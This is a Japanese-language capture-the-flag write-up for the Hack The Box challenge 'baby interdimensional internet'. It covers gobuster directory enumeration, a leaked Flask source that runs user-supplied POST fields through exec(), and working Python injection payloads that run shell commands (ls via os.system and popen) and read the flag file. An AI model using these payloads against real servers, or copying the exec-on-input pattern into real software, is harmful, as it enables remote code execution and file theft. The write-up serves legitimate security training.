Open roaris opened 6 months ago
数字が表示されるだけのアプリケーション 全く手掛かりがないのでgobusterをすると、/debugがあることが分かった
$ gobuster dir --url http://94.237.62.195:55919 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://94.237.62.195:55919
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/debug (Status: 200) [Size: 1171]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
/debugにアクセスすると、コードが見れた execを使っているのが怪しそう
from flask import Flask, Response, request, render_template, request
from random import choice, randint
from string import lowercase
from functools import wraps
app = Flask(__name__)
def calc(recipe):
global garage
garage = {}
try: exec(recipe, garage)
except: pass
def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
@wraps(func)
def federation(*args, **kwargs):
ingredient = ''.join(choice(lowercase) for _ in range(10))
recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))
if request.method == 'POST':
ingredient = request.form.get('ingredient', '')
recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
calc(recipe)
if garage.get(ingredient, ''):
return render_template('index.html', calculations=garage[ingredient])
return func(*args, **kwargs)
return federation
@app.route('/', methods=['GET', 'POST'])
@GCR
def index():
return render_template('index.html')
@app.route('/debug')
def debug():
return Response(open(__file__).read(), mimetype='text/plain')
if __name__ == '__main__':
app.run('0.0.0.0', port=1337)
簡単にするとこうなる(string.lowercaseは見つからなかった)
from random import choice, randint
ingredient = 'abcdefghij'
recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))
garage = {}
exec(recipe, garage)
calculations = garage[ingredient]
print(calculations) # 110
eval, execの説明 https://qiita.com/kyoshidajp/items/57ae371b3f5d8a84fb13
POSTパラメータでingredientとmeasurementsを指定すれば、自由にコードを実行できる
os.systemではコマンドの実行結果を取得出来ないので、subprocess.runを使う
x = 0; import subprocess; x = subprocess.run(['ls'], encoding='utf-8', stdout=subprocess.PIPE).stdout
を実行するようにしてみたが、なぜか上手くいかない(レスポンス中にコマンドの実行結果がない)
色々やっていると、x = 0; import os; x = os.system('ls > tmp.txt'); x = open('tmp.txt').read()
なら上手くいった
x = 0; x = open('flag').read()
でフラグが出力される
x = __import__('os').popen('ls').read()
popenとreadを組み合わせて解いている
また、importではなく、importを使っているので、簡潔
gobusterもする必要なかった
https://app.hackthebox.com/challenges/baby%2520interdimensional%2520internet